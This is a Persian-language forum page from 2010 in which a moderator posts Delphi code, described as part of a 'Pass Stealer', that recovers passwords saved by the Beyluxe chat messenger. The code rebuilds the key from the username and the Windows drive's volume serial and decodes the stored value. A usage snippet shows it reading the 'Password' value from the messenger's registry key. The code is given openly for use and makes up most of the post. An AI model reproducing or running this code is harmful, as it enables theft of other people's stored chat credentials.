امتیاز موضوع:
  • 0 رأی - میانگین امتیازات: 0
  • 1
  • 2
  • 3
  • 4
  • 5
ارسال پکت به جای برنامه دیگه
نویسنده پیام
lord_viper غایب
مدیر کل انجمن
*****

ارسال‌ها: 3,949
موضوع‌ها: 352
تاریخ عضویت: بهمن ۱۳۸۴

تشکرها : 5193
( 9875 تشکر در 2650 ارسال )
ارسال: #26
RE: ارسال پکت به جای برنامه دیگه
byluxe یه سیستم چت کلاینت هست شبیه paltalk یوزر + سریال هارد یه کلید میسازه برای کد کردن پسورد و اونو تو رجیستری ذخیره میکنه

این هم کد دیکریپت برای Pass Stealerش

کد:
function VolumeSerialWindows: string;
var
  Drive: string;
  Buf: array [0..512] of char;
  VolumeSerialNumber : DWORD;
  MaximumComponentLength : DWORD;
  FileSystemFlags : DWORD;
  SerialNumber : string;
begin
  Result:='';
  GetWindowsDirectory(Buf,512);
  Drive := LeftStr(ExtractFileDrive(Buf),1)+':\';
  GetVolumeInformation(Pchar(Drive),nil,0,@VolumeSerialNumber,MaximumComponentLength,FileSystemFlags,nil,0) ;
  SerialNumber := IntToHex(HiWord(VolumeSerialNumber),4)+IntToHex(loword(VolumeSerialNumber),4);
  Result := SerialNumber;
end;

function BeyluxeDecodePWS(Var user,HashPass:string):String;
var
  volSerial,tmpCommix,tmpPSW,tmpDec,tmpString,TPS:String;
  i:integer;
begin
  if (Length(User) < 1)  or (Length(HashPass) < 1) then
  begin
   Result := HashPass;
   Exit;
  end;
  VolSerial := VolumeSerialWindows;
  TPS := HashPass;
  while (Length(User)+Length(VolSerial)>0) do
  begin
    if Length(User)>0 then
    begin
      tmpCommix := tmpCommix + LeftStr(User,1);
      Delete(User,1,1);
    end;
    if Length(VolSerial)>0 then
    begin
      tmpCommix := tmpCommix + LeftStr(VolSerial,1);
      Delete(VolSerial,1,1);
    end;
  end;

  while Length(TmpString) <= (Length(HashPass)/3) do
    TmpString :=  TmpString + tmpCommix;

  i:=1;
  while Length(HashPass) > 0 do
  begin
    try
      tmpdec := Copy(HashPass,1,3);
      tmpPSW := tmpPSW + chr(StrToInt(tmpDec) - (ord(TmpString[i])xor 4) - $74) ;
    except
    end;
   Delete(TmpString,1,1);
   Delete(HashPass,1,3);
  end;
  Result:=  tmpPSW;
end;

شیوه استفاده

کد:
var
  Reg: TRegistry;
  User, HashPass: String;
begin
User:= 'SomeNickName'; // You could get user names from registry
  Reg := TRegistry.Create;
  Reg.OpenKey('\Software\Beyluxe Messenger\' + User ,False);
  HashPass := Reg.ReadString('Password');
  Reg.CloseKey;
  Reg.Free;
  Edit1.Text:= BeyluxeDecodePWS(User,HashPass);

[تصویر:  xshon.png]
از آن نماز که خود هیچ از آن نمی فهمی خدا چه فایده و بهره اکتساب کند
تفاخری نبود مر خدای عالم را که چون تو ابلهی او را خدا حساب کند
۱۹-خرداد-۱۳۸۹, ۲۲:۵۲:۱۹
وب سایت ارسال‌ها
پاسخ
تشکر شده توسط : mohamadpk


پیام‌های داخل این موضوع
ارسال پکت به جای برنامه دیگه - توسط mohamadpk - ۱۴-خرداد-۱۳۸۹, ۰۴:۳۵:۱۳,
RE: ارسال پکت به جای برنامه دیگه - توسط dreamvbfox - ۱۴-خرداد-۱۳۸۹, ۰۹:۰۴:۱۹,
RE: ارسال پکت به جای برنامه دیگه - توسط lord_viper - ۱۴-خرداد-۱۳۸۹, ۰۹:۱۲:۳۱,
RE: ارسال پکت به جای برنامه دیگه - توسط mohamadpk - ۱۴-خرداد-۱۳۸۹, ۱۰:۱۵:۳۲,
RE: ارسال پکت به جای برنامه دیگه - توسط dreamvbfox - ۱۴-خرداد-۱۳۸۹, ۱۱:۵۴:۳۶,
RE: ارسال پکت به جای برنامه دیگه - توسط lolohacko - ۱۴-خرداد-۱۳۸۹, ۲۲:۱۰:۵۷,
RE: ارسال پکت به جای برنامه دیگه - توسط mohamadpk - ۱۴-خرداد-۱۳۸۹, ۲۳:۰۵:۵۷,
RE: ارسال پکت به جای برنامه دیگه - توسط lolohacko - ۱۴-خرداد-۱۳۸۹, ۲۳:۳۲:۰۱,
RE: ارسال پکت به جای برنامه دیگه - توسط mohamadpk - ۱۴-خرداد-۱۳۸۹, ۲۳:۴۶:۲۵,
RE: ارسال پکت به جای برنامه دیگه - توسط lolohacko - ۱۵-خرداد-۱۳۸۹, ۰۰:۲۵:۰۸,
RE: ارسال پکت به جای برنامه دیگه - توسط mohamadpk - ۱۵-خرداد-۱۳۸۹, ۰۰:۳۳:۰۸,
RE: ارسال پکت به جای برنامه دیگه - توسط lolohacko - ۱۷-خرداد-۱۳۸۹, ۱۶:۵۵:۳۸,
RE: ارسال پکت به جای برنامه دیگه - توسط mohamadpk - ۱۷-خرداد-۱۳۸۹, ۱۷:۴۸:۴۵,
RE: ارسال پکت به جای برنامه دیگه - توسط joker - ۱۷-خرداد-۱۳۸۹, ۲۳:۴۴:۱۴,
RE: ارسال پکت به جای برنامه دیگه - توسط lolohacko - ۱۸-خرداد-۱۳۸۹, ۰۲:۰۷:۳۸,
RE: ارسال پکت به جای برنامه دیگه - توسط mohamadpk - ۱۸-خرداد-۱۳۸۹, ۰۷:۴۹:۲۸,
RE: ارسال پکت به جای برنامه دیگه - توسط joker - ۱۸-خرداد-۱۳۸۹, ۰۷:۵۹:۲۴,
RE: ارسال پکت به جای برنامه دیگه - توسط CRazYFULL - ۱۸-خرداد-۱۳۸۹, ۱۱:۵۵:۴۲,
RE: ارسال پکت به جای برنامه دیگه - توسط PouriaAmid - ۱۹-خرداد-۱۳۸۹, ۱۴:۵۲:۵۹,
RE: ارسال پکت به جای برنامه دیگه - توسط mohamadpk - ۱۸-خرداد-۱۳۸۹, ۱۵:۰۴:۴۵,
RE: ارسال پکت به جای برنامه دیگه - توسط HoseinVig - ۱۸-خرداد-۱۳۸۹, ۱۶:۵۱:۰۰,
RE: ارسال پکت به جای برنامه دیگه - توسط mohamadpk - ۱۸-خرداد-۱۳۸۹, ۲۱:۲۸:۴۴,
RE: ارسال پکت به جای برنامه دیگه - توسط PouriaAmid - ۱۹-خرداد-۱۳۸۹, ۱۱:۵۹:۰۴,
RE: ارسال پکت به جای برنامه دیگه - توسط mohamadpk - ۱۹-خرداد-۱۳۸۹, ۱۷:۱۰:۵۱,
RE: ارسال پکت به جای برنامه دیگه - توسط CRazYFULL - ۱۹-خرداد-۱۳۸۹, ۱۸:۰۰:۰۱,
RE: ارسال پکت به جای برنامه دیگه - توسط lord_viper - ۱۹-خرداد-۱۳۸۹, ۲۲:۵۲:۱۹
RE: ارسال پکت به جای برنامه دیگه - توسط PouriaAmid - ۲۰-خرداد-۱۳۸۹, ۱۲:۴۵:۳۰,
RE: ارسال پکت به جای برنامه دیگه - توسط mohamadpk - ۲۰-خرداد-۱۳۸۹, ۱۵:۴۸:۰۳,
RE: ارسال پکت به جای برنامه دیگه - توسط tak-fanar - ۰۲-اسفند-۱۳۸۹, ۱۱:۰۸:۱۷,

موضوعات مرتبط با این موضوع...
موضوع نویسنده پاسخ بازدید آخرین ارسال
  خواندن و ارسال کردن اطلاعات با پورت سریال SBRE77 18 20,157 ۱۱-مهر-۱۳۹۷, ۰۹:۴۶:۲۸
آخرین ارسال: reza1354
  ارسال متن بهlcd با کمک پرت usb Ghoghnus 1 2,937 ۰۲-مهر-۱۳۹۵, ۰۴:۳۲:۵۸
آخرین ارسال: engzhina
  نیاز به راهنمایی درباره ارسال اطلاعات reza2010wf 2 3,830 ۲۶-شهریور-۱۳۹۴, ۱۱:۵۸:۰۷
آخرین ارسال: Ghoghnus
  ارسال صدا و تصویر mahdi321 2 2,848 ۲۳-شهریور-۱۳۹۴, ۱۲:۱۶:۰۰
آخرین ارسال: kimiafars
  ارسال پارامتر به برنامه ی در حال اجرا. Blossom 42 27,149 ۰۹-اسفند-۱۳۹۳, ۲۲:۴۴:۱۶
آخرین ارسال: 9988
  ارسال ایمیل با ویژوال بیسیک ΛΛ Θ l-l $ Σ Ω 72 65,640 ۰۲-مهر-۱۳۹۳, ۱۲:۲۸:۳۶
آخرین ارسال: yashar_2006
  ارسال ودریافت صدا در Vb mahdi321 2 3,956 ۱۸-مرداد-۱۳۹۳, ۰۰:۵۲:۰۰
آخرین ارسال: Vb6Moderator
  کامپوننت ارسال ایمیل + کرک Di Di 23 20,319 ۱۴-فروردین-۱۳۹۳, ۱۳:۲۲:۴۷
آخرین ارسال: ms_jadoo
Exclamation درخواست ارسال پی ام در یاهو alipc1 8 6,093 ۲۲-تير-۱۳۹۲, ۲۱:۱۱:۵۶
آخرین ارسال: Ghoghnus
Sad سوال در مورد ارسال پی ام در یاهو مسنجر blackhacking21 6 5,269 ۱۷-فروردین-۱۳۹۲, ۱۰:۵۰:۵۱
آخرین ارسال: lord_viper

پرش به انجمن:


کاربرانِ درحال بازدید از این موضوع:

صفحه‌ی تماس | IranVig | بازگشت به بالا | | بایگانی | پیوند سایتی RSS